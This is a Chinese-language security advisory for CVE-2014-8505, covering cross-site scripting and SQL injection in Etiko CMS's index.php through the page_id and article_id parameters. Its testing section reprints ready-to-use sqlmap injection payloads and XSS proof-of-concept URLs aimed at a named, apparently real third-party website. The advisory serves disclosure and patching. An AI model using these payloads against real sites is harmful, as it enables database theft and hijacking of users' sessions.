Etiko CMS index.php 跨站脚本漏洞

发布日期：2014-10-13
更新日期：2014-10-30受影响系统：
Etiko Etiko CMS
描述：
CVE（CAN） ID: CVE-2014-8505 Etiko CMS是内容管理系统。Etiko CMS没有有效验证index.php脚本的输入，在实现上存在跨站脚本漏洞，远程攻击者用构造的URL内的page_id或article_id参数，利用此漏洞可在用户Web浏览器中执行脚本，窃取cookie身份验证凭证。<*来源：Felipe " Renzi " Gabriel

链接：http://xforce.iss.net/xforce/xfdb/97031
*>测试方法：警告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
# SQL Injection & XSS on Etiko CMS. # Risk: High # CWE number: CWE-89,CWE-79 # Date: 13/10/2014 # Vendor: www.etikweb.com # Version: All # Author: Felipe " Renzi " Gabriel # Contact: renzi@linuxmail.org # Tested on: Windows 8 ; Chrome ; Sqlmap 1.0-dev-nongit-20140906 # Vulnerables Files: /index.php & /loja/index.php # Exploits: http://www.target.com/loja/index.php？page_id=19 [XSS] & [SQLi] http://www.target.com/index.php？article_id=16 [SQLi] & [XSS]

# PoC: http://www.centrovegetariano.org/loja/index.php？page_id=19 http://www.centrovegetariano.org/index.php？article_id=16
--- "SQLI using SQLMAP."---

---
Place: GET
Parameter: page_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: page_id=19" AND 3987=3987 AND "Tulh"="Tulh Type: UNION query
Title: MySQL UNION query （NULL） - 3 columns
Payload: page_id=-5362" UNION ALL SELECT NULL,NULL,CONCAT（0x7175616f71,0x467a784a6e62664d5a79,0x716b756271）# Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: page_id=19" AND SLEEP（5） AND "mntS"="mntS
--- ---
Place: GET
Parameter: article_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: article_id=16" AND 8044=8044 AND "yKZe"="yKZe Type: UNION query
Title: MySQL UNION query （NULL） - 10 columns
Payload: article_id=-2752" UNION ALL SELECT 60,60,60,60,60,60,CONCAT（0x7167687671,0x6d54706b774f4a6f667a,0x7172707a71）,60,60,60# Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: article_id=16" AND SLEEP（5） AND "MDwY"="MDwY
--- --- " XSS using HTML injection."--- http://www.centrovegetariano.org/loja/index.php？page_id=19"><marquee>XSS</marquee> http://www.centrovegetariano.org/index.php？article_id=16"><marquee>XSS</marquee>建议：
厂商补丁：Etiko
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：http://www.etikweb.com/